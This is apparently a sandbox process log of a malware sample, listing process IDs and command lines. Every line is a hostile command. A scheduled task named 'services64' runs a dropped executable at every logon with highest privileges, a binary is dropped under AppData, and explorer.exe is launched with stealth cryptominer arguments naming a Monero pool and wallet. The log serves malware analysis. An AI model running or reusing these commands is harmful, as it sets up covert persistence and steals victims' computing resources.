cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
2440schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
2500cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
3064schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
2164sihost64.exe "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
1892explorer.exe C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.minexmr.com:4444 --user=49LQTYwMJ5pK2AtCViY5By7cEUhfYXwjgdaYMBEueHKmeoahcgdnc2CRCnrtK3mDaY2gyEViU4U9AYtkMp1T5rDAUpafWNN --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
2708